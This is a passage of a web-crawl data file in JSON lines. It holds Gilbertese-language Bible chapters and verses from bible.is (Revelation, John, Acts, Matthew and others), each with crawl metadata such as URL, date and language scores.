5","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/GILBSP\/Rev\/5","date":"2013-12-10T12:29:39Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386164018354\/warc\/CC-MAIN-20131204133338-00014-ip-10-33-133-15.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":13,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":530,"character_repetition_ratio":0.087,"word_repetition_ratio":0.008,"special_characters_ratio":0.232,"stopwords_ratio":0.477,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"15Ma ngkana bon nanon te aomata ae e aki onimaki bwa e na kiitana buuna are e onimaki, ao ke e karaoia; ngkana e reke aei, ao akea te bae e na kabaeaki iai n te maiu n taanga te mwaane ke te aine are te buu are e onimaki. Bwa E a tia te Atua ni weteira nakon te maiu n raoi.\n1 KORINTO 7:15\nOne App.\n844 Languages.","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/GILBSP\/1Cor\/7\/15","date":"2013-12-05T13:50:25Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386163045217\/warc\/CC-MAIN-20131204131725-00079-ip-10-33-133-15.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":14,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":67,"character_repetition_ratio":0.053,"word_repetition_ratio":0.0,"special_characters_ratio":0.275,"stopwords_ratio":0.507,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Ao i mwiin arei ao I nooriia anera aika aman bwa a tei ni maninganingan aonnaba, ake maninganingana ake aua, ao a tau angin aonnaba, ake aang ake aua, bwa e na aki uki te ang i aonnaba, ao i marawa, ao e na aki uka te kai tekaina n neakinna. 2Ao I noora te anera temanna bwa e rierake man te tabo are e kaoti taai maiai, ao iai irouna te bwai ni kanikina, ae ana bwai te Atua ae e maiu; ao e taetae n te bwanaa ae e korakora nakoia anera ake aman ake a anganaki te konaa ni bwainikiriina aonnaba ma karawa, 3ao e kaangai, Kam na tai bwainikiriina aonnaba ma karawa, ma kaai, ni karokoa ae ti kanikinaaia moa ana toro Atuara i aon ramwaia. 4Ao I ongo bwa mwaitiia te koraki ake a kanikinaaeaki bon tebubua ma abwi ma aua te ngaa mai buakoia aia baronga Iteraera ni kabaneia. 5A kanikinaaeaki tebwi ma uoua tengaa mai buakon te baronga are Iuta; Tebwi ma uoua tengaa mai buakon te baronga are Reuben; Tebwi ma uoua tengaa mai buakon te baronga are Kata; 6Tebwi ma uoua tengaa mai buakon te baronga are Atera; Tebwi ma uoua tengaa mai buakon te baronga are Nabetari; Tebwi ma uoua tengaa mai buakon te baronga are Manate; 7Tebwi ma uoua tengaa mai buakon te baronga are Timeon; Tebwi ma uoua tengaa mai buakon te baronga are Rewi; Tebwi ma uoua tengaa mai buakon te baronga are Itakara; 8Tebwi ma uoua tengaa mai buakon te baronga are Teburun; Tebwi ma uoua tengaa mai buakon te baronga are Iotebwa. A kanikinaaeaki tebwi ma uoua tengaa mai buakon te baronga are Beniamin. 9I mwiini baikai ao I taratara nako, ao nooria, aomata aika a rangi ni mwaiti aika mani bootanaomata ni kabaneia, ma baronga, ma natanaomata, ao mani bootanaomata nako aika a kakaokoro aia taetae; ao akea temanna ae e konaa ni wareki mwaitiia. A tei i nanoaan te kaintokanuea, ao i matan te Tiibuteteei, ao a kunnikaiia ni kunnikai aika a mwamwarai aika a mainaina, ao baani kaai aika ai aroni baan te ni i nanoni baiia; 10ao a taetae n te bwanaa ae e korakora, ao a kaangai, Ana bwai Atuara ae e tekateka i aon te kaintokanuea te kamaiu; ao te kamaiu aei bon ana bwai naba te Tiibuteteei. 11Ao a bane anera n tei ni katoobibia te kaintokanuea ma unimwaane ma baike a maiu ake aman, ao a katorobubua ni bobaraaki i nanoaan te kaintokanuea, ao a taromauriia te Atua, 12ao a kaangai, Amene; ana bwai Atuara te karaoiroaki, ma te neboaki, ma te rabakau, ma te katituaraoaki, ma te karineaki, ma te mwaaka, ma te korakora, n aki tootoki. Amene. 13Ao e taetae temanna mai buakoia unimwaane, ao e kaangai nakoiu, Antai aikai aika a kunnikaiia ni kunnikai aika a mwamwarai aika a mainaina? Ao a nako maia? 14Ao I taku nakoina, Teuae ko karineaki irou, ko bon ataiia. Ao e kaangai nakoiu, Aomata aikai ake a buutaki nako mai aan te rawaawata are e korakora, ao a teboki aia kunnikai ake a mwamwarai ao a kamainainai n raraan te Tiibuteteei. 15Ma ngaia ae a meemena i aan ana kaintokanuea te Atua; ao a toro irouna ni ngaina ao ni bong i nanon ana umwantabu. Ao Teuare e tekateka i aon te kaintokanuea E na kamanoiia ni meemenana irouia. 16Ane a na aki manga baki, ao a na aki manga taka; ao e na aki manga riringa taai i aoia, ao a na aki rootaki ni kabuebuena; 17ao te Tiibuteteei are i nanoaan te kaintokanuea E na kaawakiniia n ai aron te tia kaawakin-tiibu, ao E na kairiia nakoni koburaken raan aika a kamaiu; ao te Atua E na kaoi rannimataia ni kabane mai mataia.\nTE KAOTIOTI 7","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/GILBSP\/Rev\/7","date":"2013-12-09T15:41:57Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386163986869\/warc\/CC-MAIN-20131204133306-00016-ip-10-33-133-15.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":14,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":629,"character_repetition_ratio":0.161,"word_repetition_ratio":0.013,"special_characters_ratio":0.219,"stopwords_ratio":0.447,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Ao te anera are te kaniiman e katanga ana bu, ao I noora te itoi ae e bwaka mai karawa nako aon te aba; ao e anganaki kiingini bonotani matan te bwangabwanga are e ruo rikaaki nako Abuto. 2E kauka bonotani matan te bwangabwanga are e ruo rikaaki nako Abuto, ao e oti nako maiai te bubu ae ai aroni bubun te tabo ni kanaiai ae e korakora, ao e karooaki taai ma te ang n te bubu ae e nako man te bwangabwanga arei. 3Ao a oti nako rokati man te bubu arei nako aon te aba, ao a anganaki te konaa ni kammaraka te aba n ai aroia tikaobian. 4A tuangaki bwa a na aki urua uteuten aon te aba, ma te kai nako ae e maawaawa baana, ma aroka; ma a na ti kammarakia aomata akana akea i aon ramwaia ana kanikina te Atua. 5A kariaiakaki rokati akekei bwa a na bwainikiriniia ni kammarakia i nanon nimaua te namwakaina, ma a na aki kamateia; ao marakiia ai aroni marakin te aomata are e tenaaki n te roata ae e buubura ae te roata n ni. 6I nanoni bongin namwakaina akana nimaua akanne ao a na kakaaea te anga ae a na mate iai, ma akea ae e na reke irouia: a tangira te mate, ma e biri nako te mate mai irouia. 7Rokati akekei kaanga ai aroia aoti ake a tauraoi nakon te buaka: a toka i aon atuuiia baika kaanga ai aroni baunuea aika koora, ao ubuia ai aron taraan ubuia aomata; 8iran atuuiia ai aron iran atuuiia aine, ao wiia ai aroni wiia raian; 9a katokai i aoni bwabwaia baika kaanga ai aroni biiti bwa otangaia; ao rurungaani baiia ni kiba kaanga ai aron rurungaani kaa-ni-buaka aika a bati aika a katikaki irouia aoti ngkana a biribiri nakon te buaka. 10Iai bukiia rokati akekei aika ai aronibukin te tikaobian ae iai te boitin iai, are a konaa iai ni kammarakia aomata i nanon nimaua te namwakaina. 11Iai aia uea bwa aneran te tabo are Abuto. Aran te anera anne n te taetae n Ebera bon Abaton, ao n te taetae n Erene Aboruon. 12E a tia n roko te moa n rekenikai; nooria, ane a na roko riki rekenikai aika uoua. 13Ao te anera are te kaonoman e katanga ana bu, ao I ongo te bwanaa a teuana mani kooro ake koron te baonikarea are te koora, are i matan te Atua, 14ngke e kaangai nakon te anera are te kaonoman are iai irouna te bu, Ko na kabwaraia anera ake aman ake a kabaeaki i rarikin te karaanga are e abwaabwaki are Iuberetiti. 15Ao a kabwaraaki anera ake aman, ake a katauraoaki i mwaain te aoa ma te bong ma te namwakaina ma te ririki, are a na kamateia iai kateni-mwakoroni mwaitiia aomata. 16Ao I ongo bwa mwaitiia taani buaka ake a toka i aoia aoti bon uabubua te mirion. 17I nooriia aoti ma ake a toka i aoia, ni miu, bwa aikai aroia: iai otangani bwabwaaia aika a uraura n ai aron uraurani matan te ai, ao aika a buruu n ai aron te uakinto ao aika a babobo n ai aron te burimton; ao atuuiia aoti ai aron atuuiia raian, ao a oti nako mai wiia te ai ma bubuna ma te burimton. 18A kamateaki kateni-mwakoroni mwaitiia aomata ni baikai, aika baika a kamaamate aika teniua, ae te ai, ao te bubu n ai, ao te burimton, aika a oti nako mai wiia. 19Bwa a mena mwaakaia aoti aikai ni wiia ao ni bukiia: bwa bukiia ai aroia naeta aika iai atuuiia, ao a kaikoakiia aomata iai. 20Ao aomata ake tabemwaang, ake a aki kamateaki ni baike a kamaamate, a aki rairaki ni kiitani baike a karaoi n oini baiia, bwa a aonga n toki man aroia n taromauriia taimonio, ma bouananti aika koora ma aika tirewa ma aika buraati ma aika atiibu ma aika kaai aika a aki konaa te nooraaba, ma te ongo, ma te nakonako; 21ao a aki rairaki ni kiitan aroia ni kamaamate, ma n tabunea, ma ni kaibwabwaru, ma ni kimoa.\nTE KAOTIOTI 9","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/GILBSP\/Rev\/9","date":"2013-12-10T03:58:39Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386164007111\/warc\/CC-MAIN-20131204133327-00018-ip-10-33-133-15.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":8,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":686,"character_repetition_ratio":0.054,"word_repetition_ratio":0.003,"special_characters_ratio":0.228,"stopwords_ratio":0.446,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Onobong i mwaain te Toa are te Riao, ao E roko Iesu i Betania, ike e mena iai Rataro are e kamaiuaki iroun Iesu man te mate. 2Ma ngaia are a karaoa te amwarake ibukin Iesu ikekei; e touati Mareta, ao Rataro e raonia ake a tekateka n rarikiriki ma Iesu. 3Ao Nei Maria e anaa ngkanne teuana te rawaawata te kabira ae e boiarara, ae te naro ni koaua ae e bati boona, ao e kabiri waen Iesu iai, ao e kaoi n iranatuna; ao e niiraki nanon te auti ni boin te kabira. 4E taku Iuta Itekariota, are temanna i buakoia ana reirei, are e nang kamwanea Iesu, 5E aera ngke e aki kabooaki nako te kabira aei n tenibubua te tenari, ao a anganaki akana a aki kaubwai? 6E atonga aei, tiaki ibukina bwa e tabe i bukiia aika a aki kaubwai; ma e atonga aei bwa te tia iraa ngaia, ao ngkai e mena irouna nnen te mwane, ao e taneiai n anaanaa are e taku maiai i bon ibukina. 7Ma ngaia are E taku Iesu, Katuka neienne i bon irouna! E na kaawakina ae iai irouna ibukin au bongi n taunaki. 8A boni meemena i rarikimi aomata aika a aki kaubwai, ma Ngai e na bon toki meemenau i rarikimi. 9Ngke a ataia aomata aika a bati aika I-Iutaia bwa E mena Iesu i Betania, ao a nako iai, tiaki ti ibukin Iesu, ma a kan noora naba Rataro, are e a tia ni kamaiuaki iroun Iesu mai buakoia maate. 10Ao a karekea aia iango ibonga ake mataniwi bwa a na kamatea naba Rataro, 11ibukina bwa a mwaiti I-Iutaia aika a rawa irouia, ao a onimakina Iesu i mwiin te baere e a tia n riki nakon Rataro. 12N te bong are i mwiina ao a ongo aomata aika a rangi ni bati, ake a roko n te Toa are te Riao, bwa ae i aoni kawaina n roko Iesu i Ierutarem. 13A anai baani kaai aika aroni baan te ni, ao a nako ni butimwaaia, ao a takaarua ni kaangai, E na neboaki te Atua! E na kakabwaiaaki Teuae nakomai n aran te Atua. E na kakabwaiaaki aia Uea Iteraera! 14Ao ngke E reke iroun Iesu te aati te teei, ao E toka i aona; n ai aron are e koreaki n te Baibara ni kaangai: 15Tai maaku, ngkami kaain Ierutarem; nooria, E a roko ami Uea, ae e toka i aon te bun n aati. 16A aki atai nanoni baikai ana reirei ngkekei; ma ngke E neboaki Iesu, ao a uringi baikai bwa taekana aika a koreaki n te Baibara, ao bwa a karaoaki naba nakoina. 17Ma ngaia arei bwa aomata ake a bati ake a mena i rarikin Iesu n te tai are E wetea iai Rataro ni kaotinakoa man te nne ni mate, ao ni kamaiua mai buakoia maate, a taekina te baere e a tia n riki nakon Rataro. 18Aei bukin are E a butimwaaeaki iai Iesu irouia aomata aika a bati, bwa a ongo ae E a tia ni karaoa te mwakuri ae e kamiimii arei. 19A i taetae ngkanne Bwaritaio irouia, ni kaangai, Kam nooria bwa akea te bae kam konaa ni karaoia; nooria, e a bane n nako te aba n iria 20Iai I-Erene tabemwaang i buakoia aomata ake a nako Ierutarem bwa a na taromauri n tain te Toa are te Riao. 21A nako ngkanne nakoni Biribo, are kaaini Betetaita are i Kariraia, ao a tuangnga ni kaangai, Teuaei, ti kan noora Iesu. 22E nako Biribo n tuanga Anterea, ao a uaia n nako n tuanga Iesu. 23Ao E kaekaia Iesu ao E taku, E a roko te aoa are E na neboaki iai Natin te Aomata. 24Bon te koaua ni koaua ae I a tuangkami bwa ngkana e aki bwaka uaan te uiita i buakon te tano ni mate iai, ao e na tiku n ti ngaia; ma ngkana e bwaka ao e mate iai, ao ane e na kariki uaana aika a bati. 25Ane e tangira maiuna ao e na kabuaa; ao ane e ribaa maiuna n te aonnaba aei, ao e na kaawakinna nakon te maiu are e aki toki. 26Ane e toro irou, ao e iai n iriirai; ao ike I mena iai, ao e na mena naba iai au toro; ane e toro irou, ao e na karineaki iroun Tamau. 27E rawaawata nanou ngkai; ao tera ae N na taekinna? Tao N na kaangai, Tamau, kamaiuai man te aoa aei? Ma aei bukin rokou, bwa N na rin i nanon te aoa aei. 28Tamau, neboa aram. E roko ngkanne te bwanaa mai karawa, ae e kaangai, I a tia n neboia, ao N na manga neboia. 29Ma ngaia are aomata ake a teitei ikekei a ongo, ao a taku bwa e rebwe te ba; ma iai tabeman i buakoia ake a kaangai, E taetae te anera nakoina. 30E kaekaia Iesu ao E taku, E aki roko te bwanaa aei i bukiu, ma e roko i bukimi. 31Ana tai ngkai te aonnaba aei ni motikaki taekana; te tai naba aei are e na bwaka man ueana iai te tia taua taekan te aonnaba aei; 32ao Ngai, ngkana I kateaki rake mai aon te aba, ao N na katiki nanoia aomata ni kabaneia bwa a na nakoiu. 33E atonga aei bwa E na kaota aron te mate are e na riki nakoina. 34Ma ngaia are a kaeka aomata ni kaangai, Ti ongo n te Tua bwa E na maiu n aki tootoki te Kristo. Ko na kangaa ngkanne n taku bwa E na kateaki rake Natin te Aomata? Antai Natin te Aomata anne? 35E taku ngkanne Iesu nakoia, E na aki rangi ni maan ana tai te oota ni mena i buakomi. Ma ngaia are kam na nakonako ngkai iai te oota, bwa e kaawa n taoningkami te roo; ane e nakonako n te roo, ao e aki ataa ike e nako iai. 36Ngkai iai te oota iroumi, ao kam na onimakinna, bwa kam aonga n riki bwa natin te oota. 37E boni ngae ngke E kabatiai ni karaoi ana mwakuri aika a kamiimii i mataia, ma a bon aki onimakinna: 38bwa e na kakoroaki bukin ana taeka Itaia are te buraabeti are e kaangai: Te Uea, antai ae e kakoauaa ara rongorongo? Ao antai ae e kaotaki mwaakan te Atua nakoina? 39Aio bukin ae a aki konaa n onimaki iai: bwa e a manga taku Itaia, 40E kamatakii mataia te Atua, ao E kamatoai nanoia; bwa a kaawa n nooraaba ni mataia ao n atatai n nanoia, ma n rairaki nakoiu bwa N na kamaiuiia. 41E atongi baikai Itaia ibukina bwa e a kaman noora mimitongin Iesu, ao e taekinna. 42Ma e ngae n anne ao a bon onimakinna naba taan tau-taeka aika a bati; ma a aki kani kaotia, ibukina bwa a maakuia Bwaritaio, bwa a kaawa n tuukaki mani mwaneabaia I-Iutaia: 43bwa a tangira riki kamoamoaaia irouia aomata nakoni kamoamoaaia iroun te Atua. 44Ao E kanenea bwanaana Iesu ao E kaangai, Ane e onimakinai, ao e aki onimakinai, ma e onimakina Teuare e kanakomaiai. 45Ao ane e noorai, ao e noora Teuare e kanakomaiai. 46I roko bwa te oota i aonnaba, bwa e na aki mena n te roo ane e onimakinai. 47Ngkana e ongo au taeka te aomata, ao e aki iri nanoia, ao I aki motika taekana: bwa I aki roko bwa N na motika taekan aonnaba, ma I roko bwa N na kamaiua. 48Ane e rawa nakoiu, ao e aki kaaki i nanona au taeka, ao bon iai ae e na motika taekana: taeka ake I atong a na riki bwa bwaini motikan taekana n te kabanea ni bong. 49Bwa I aki taetae man oin au iango; ma E tuangai te Tama are e kanakomaiai bwa tera ae N na taekinna, ao ae N na atongnga. 50Ao I ataia bwa e reke te maiu are e aki toki man ana tua. Ma ngaia aei, bwa te bae I atongnga, ao I atongnga n aron are E tuangai Tamau.\nIOANE 12","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/GILBSP\/John\/12","date":"2013-12-09T13:50:47Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386163976781\/warc\/CC-MAIN-20131204133256-00090-ip-10-33-133-15.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":11,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":1342,"character_repetition_ratio":0.043,"word_repetition_ratio":0.0,"special_characters_ratio":0.249,"stopwords_ratio":0.481,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1I mwiini baikekei ao e kiitana Atenai Bwauro, ao e nako Korinto; 2e kaaitibo iai ma te I-Iutaia ae arana Akura ae e bungiaki i Bonto, ae e a tibwa roko mai Itare, ma Beritikira are buuna, i mwiin ana taeka Keraurio nakoia I-Iutaia ni kabaneia bwa a na kiitana Rom. E nako ni kawariia Bwauro, 3ao e mamaeka ma ni mwakuri ma ngaiia, bwa kioina ngke ti te bo nakoaia: bwa taani karaoi umwanrianna ngaiia. 4E aki toki Bwauro ni kakarabakau ni mwaneabaia I-Iutaia n te taabati ae koraki, bwa e kan anai nanoia I-Iutaia ma I-Erene. 5Ngke a roko Tira ma Timoteo mai Mwaketonia, ao akea ana mwakuri Bwauro bwa ti te tataekina ana taeka te Atua, ni kaota raoi nakoia I-Iutaia bwa bon te Kristo Iesu. 6Ma a ekia nako ao a taetaebuakaia, ao ngaia e ioioa ana kunnikai, ao e takunakoia, Kam na bonibukintaeka n ami bure! Akea au bure iroumi! I mwiini ngkai ao I a nakoia aomata aika tiaki I-Iutaia. 7E kiitana ikekei ao e nako n ana auti te aomata ae arana Titio Iouteto, ae e tataromauriia te Atua; e kaan ana auti ma mwaneabaia I-Iutaia. 8Ao Kiritebo, are te tia taua taekan aia mwaneaba I-Iutaia, e onimakina te Uea ma kaain ana auti ni kabaneia; ao I-Korinto aika a bati, ngke a ongo ana taeka te Atua, ao a onimaki ao a bwaabetitooaki. 9N te tairiki teuana ao kaanga ae e mii Bwauro: e taetaenakoina te Uea ni kaangai, Tai maaku, ma ko na taetae, ao tai kainabwaabu; 10bwa I meemena iroum, ao akea te aomata temanna ae e na eekiko nako ni kaikoakiko: bwa a bati au aomata n te kaawa aei. 11Ao e maeka Bwauro n te kaawa arei i nanon teuana te ririki ao onoua namwakaina, n reireiia aomata ana taeka te Atua. 12Ma ngke te tia tau-taeka i Akaia Kario, ao a kaboo nanoia I-Iutaia n eweka Bwauro, ao a kairia nako matan te tabo ni motiki-taeka, 13ao a taku, E anai nanoia aomata teuaei bwa a na taromauriia te Atua n te aro ae e bobuaka ma taekan te tua. 14Ma ngke e nangi taetae Bwauro, ao e taku Kario nakoia I-Iutaia, I-Iutaia, ngke arona bwa te kaairua, ke te bure kaakaiaki te baei, ao e riai irou bwa N na kabanea au tai n ongoraa iroumi; 15ma ngkai e kaeti ma taian titiraki ibukin taeka ma aara, ma taekan ami tua, ao I a katiku taekaianakoimi, bwa I aki kan riki bwa te tia motiki-taekani baikai. 16Ao e kakioia nako man te tabo ni motiki-taeka. 17Ao a bane n taua Tototene are te tia taua taekani mwaneabaia I-Iutaia, ao a batiboia i matan te tabo ni motiki-taeka; ma e aki kan tabe ma ngaiia Kario. 18E kabatiai riki ana bong Bwauro n tiku ma taari i Korinto, ao rimwi e kaboo ma ngaiia, ao e borau ma Nei Beritikira ao Akura nako Turia; ao e korobuatau Bwauro i Kengkirea i mwaaini borauna, bwa kakoroan nanon ana taeka ni bau are e bae iai. 19A roko i Ebeto, n te tabo are a kiitanaki iai Beritikira ma Akura irouni Bwauro. E nako Bwauro n rin ni mwaneabaia I-Iutaia, ao e reireiia I-Iutaia. 20Ngke a butiia bwa e na tiku irouia ni kamaanna, ao e aki iri nanoia; 21ma ngke e kaboo ma ngaiia, ao e taku, Ngkana nanon te Atua ao N na manga okiringkami. Ao e borau mai Ebeto. 22Ngke e aerake i Kaitareia, ao e waerake ni kamaura te ekaretia, ao i mwiina e nako Antioka. 23E tiku ni kamaanna iai teutana, ao i mwiina e kiitanna n nako ni kawara te aba are Karatia ma Berukia, ni kakorakoraia taan onimaki ni kabaneia iai. 24E roko i Ebeto te I-Iutaia temanna ae arana Aboro, ae e bungiaki i Arekanria. Te tia taetae ngaia ae e rabakau, ao e rangi n atatai n te Baibara. 25E a tia n reireiaki teuaei nanon te Uea ibukin te kawai are a riai n toua aomata, ao e taetae ma angin nanona, n reireiia aomata koaua aika a eti aika taekan Iesu, e boni ngae ngke e ti atatai n ana bwaabetiito Ioane; 26ao e taetae teuaei n aki mamaaku i nanoni mwaneabaia I-Iutaia. Ngke a ongoraa irouna Akura ma Beritikira ao a weteia, ao a kabwarabwaraanakoina nanon te Atua ibukin te kawai are a riai n toua aomata, bwa e aonga n eti riki ana atatai iai. 27A kaungaa nanon Aboro taari ngke e kan nako Akaia, ao a koroboki nakoia ake a onimaki ikekei bwa a na mwaneia n akoia; ao ngke e roko, ao e korakora ana ibuobuoki nakoia ake a a tia n riki bwa taan onimaki n ana aakoi te Atua: 28bwa n ana imanono ao e konai aoia I-Iutaia n aia kauntaeka i mataia aomata, ngke e kaotaia man te Baibara bwa bon te Kristo Iesu.\nMWAKURI 18","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/GILBSP\/Acts\/18","date":"2013-12-06T08:58:05Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386163050500\/warc\/CC-MAIN-20131204131730-00054-ip-10-33-133-15.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":12,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":814,"character_repetition_ratio":0.059,"word_repetition_ratio":0.0,"special_characters_ratio":0.235,"stopwords_ratio":0.455,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"IAKOBO 3:1212Tariu, e konaa te biiku ni karika te oriwa? Ao e konaa te kureebe ni kariki biiku? Ao e aki konaa naba te karika te ran ae e mam te ran ae e taari. Last Verse Next Verse 2004 Edition brought to you by Bible Society of the South Pacific.","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/GILBSP\/Jas\/3\/12","date":"2013-12-10T22:24:08Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386164026971\/warc\/CC-MAIN-20131204133346-00027-ip-10-33-133-15.ec2.internal.warc.gz","language":"gil","language_score":0.9956816435,"language_script":"Latn","minhash_cluster_size":11,"top_langs":"{\"gil_Latn_score\": 0.995681643486023}","num_words":50,"character_repetition_ratio":0.075,"word_repetition_ratio":0.0,"special_characters_ratio":0.261,"stopwords_ratio":0.36,"flagged_words_ratio":0.0,"lang_id_score":0.997,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Ngke a kaania Ierutarem Iesu ma ana reirei, ao a roko n te kaawa ae Betebwake are e mena n te maunga are Oriweta; ao E kanakoia uoman ana reirei, 2ao E taku nako ia, Kam na nako n te kaawa ane i mwaaimi; ao ane kam na noora iai te aati ae rooaki, ao natina i rarikina; kabwaraa, ao kairiia mai nakoiu. 3Ngkana iai ane e kaekaingkami, ao kam na kaangai, E kainnanoi te Uea, ao e a kanakoiia naba. 4E riki aei bwa e aonga ni kakoauaaki are e atongnga te buraabeti, ngke e kaangai, 5Kam na kaangai nakoia kaain te kaawa are Tion, Noria, E nakoimi ami Uea, ae e nimamannei, ae e toka i aon te aati ao i aoni bunna. 6Ao a nako ana reirei ake uoman, ao a karaoa aron are a tuangaki iroun Iesu. 7A kaira te aati ma bunna, ao a katokai kunnikaiia i aoia; ao E toka i aoia Iesu. 8Ao angiia aomata mai buakoia ake a rangi ni mwaiti, a taakini kunnikaia i nanon te kawai; ao tabemwaang a koroi mwaangani kaai, ao a kawenei i nanon te kawai. 9Ao a takaarua aomata ake a ri moana ao ake a ri mwiina, ni kaangai, E na neboaki Natin Tawita! E na kakabwaiaaki Teuae nako mai n aran te Atua. E na neboaki te Atua! 10Ngke E rin Iesu i Ierutarem, ao a kiriwe kaain te kaawa, ao a taku, Antai Teuaei? 11Ao a taku aomata ake a ira Iesu, Bon Iesu are te buraabeti Teuaei mai Natareta are i Kariraia. 12E rin Iesu i nanon te umwantabu, ao E kakioia nako ake a boobwai ma ake a kaboobwai n te umwantabu; ao E karangai aia taibora taan rai-mwane, ma aia kai n tekateka taani kaboo nako bitin. 13E taku nako ia, E koreaki ae e kaangai, E na atongaki au auti bwa te auti n tataro; ma kam karaoia bwa nneia taani kimoa ni karabaiia. 14Ao a nakoina mataki ma mwauku n te umwantabu, ao E kamaiuiia. 15Ao a nanobuaka ibonga ake mataniwi ma taani koroboki ngke a noori baike a kamiimii ake E karaoi Iesu; ao ngke a ongo bwanaaia ataei ngke a takaarua i nanon te umwantabu ni kaangai, E na neboaki Natin Tawita, 16ao a taku nakoina, Ko ongo bwa tera ae a taekinna? E taku Iesu nako ia, Eng; kam tuai ni wareka te taeka are e kaangai, Ko a tia ni kataneiaia ataei aika a uarereke ma merimeri bwa a na neboiko n te aro ae e rangi n nako raoi. 17E kiitaniia Iesu, ao E oti nako man te kaawa nako Betania, ao E tiku iai. 18Ngke e a ingabong, ngke E tabe n oki Iesu nakon te kaawa, ao E rootaki n te baki. 19E noora te biiku tekaina i rarikin te kawai, ao E nako iai; ao akea te bae E kunea iai bwa ti baana; ao E taku nako iai, E na tai manga oki n riki uaam! Ao e rai te biiku n te tai naba arei. 20Ngke a nooria ana reirei, ao a miimii, ao a taku, E kangaa ngkai e a waetata naba n rai te biiku? 21E kaekaia Iesu ao E taku, E koaua ae I a tuangkami bwa ngkana iai ami onimaki ao kam aki nanokokoraki, ao kam konaa ni karaoa ae e karaoaki nakon te biiku aei; ao tiaki ti ngaia, ma ngkana kam kaangai nakon te maunga aei, Ko na tabekaki nako n teweaki nako marawa, ao e a karaoaki naba. 22Ao te bwai ane kam buubuti n te tataro, e na reke nakoimi, ngkana iai ami onimaki. 23Ngke E roko Iesu n te umwantabu, ao a nakoina ibonga ake mataniwi ma aia unimwaane aomata ngke e tabe n reirei, ao a taku, Te mwaaka maia ae Ko karaoi iai baikai? Ao antai ae anganiko te mwaaka anne? 24E kaeka Iesu ao E taku nako ia, Ao Ngai N na titirakiningkami naba, ao ngkana kam tuangai kaekaana, ao Ngai N na manga tuangkami naba bwa te mwaaka maia ae I karaoi iai baikai. 25Maia ana bwaabetiito Ioane? Mai iroun te Atua ke mai irouia aomata? A iango irouia, ao a taku, Ngkana ti kaangai, Mai iroun te Atua; ao ane E na kaangai, Ao e aera ngkanne ngkai kam aki onimakini baike e taekin? 26Ma ngkana ti kaangai, Mai irouia aomata; ao ti maakuia aomata; bwa a bane n taku bwa te buraabeti Ioane. 27Ma ngaia are a kaeka Iesu ao a kaangai, Ti aki ataia. Ao Ngaia E taku nako ia, Ao Ngai N na aki tuangkami bwa te mwaaka maia ae I karaoi iai baikai. 28Tera ami iango nakon te karaki aei? Iai ngkoa te aomata temanna ae uoman natina mwaane; e nako n te karimoa, ao e kaangai, Natiu, ko na nako ni mwakuri ni nnen arokau te kureebe n te bong aei. 29Ao ngaia e kaeka ni kaangai, I aki kan nako; ma i mwiina ao e bita nanona ao e nako. 30E a manga nako te karo nakon are te karimwi n tuangnga naba; ao ngaia e kaangai, Tamau, N na nako; ma e aki nako. 31Antai ae e toua mwiin ana taeka tamana irouia uaake uoman? A taku nakoina, Te karimoa. E taku Iesu nako ia, E koaua ae I a tuangkami bwa a ri moami taan anai taekiti ma aine aika kabekaau nako nanon uean te Atua. 32Bwa e roko Ioane nakoimi, ngkami aika Iteraera, ni kaota te aro ae e raoiroi ae kam na bwainna ni maiumi n ai aron nanon te Atua, ao kam aki kakoauai ana taeka. 33Kam na ongo te rongorongo ni kabootau teuana: Temanna te aomata ngkoa ae iai ana onaroka. E uniki kureebe ni nneia, ao e oi rarikiia, ao e kena aontano i nanona bwa nneni bwaini katiinakoan ranin te kureebe, ao e katea te tabo n tantani. E anga te onaroka arei nakoia aomata temwaangina bwa a na tararuaia ibukina, ao e nako n te aba teuana. 34Ngke e a roko tain uaa ni kai n tawaa, ao e kanakoia ana toro teuarei nakoia taan tararuaa te onaroka bwa a na anai tibwangana mani kureebe, n aron are e a tia ni katauaki; 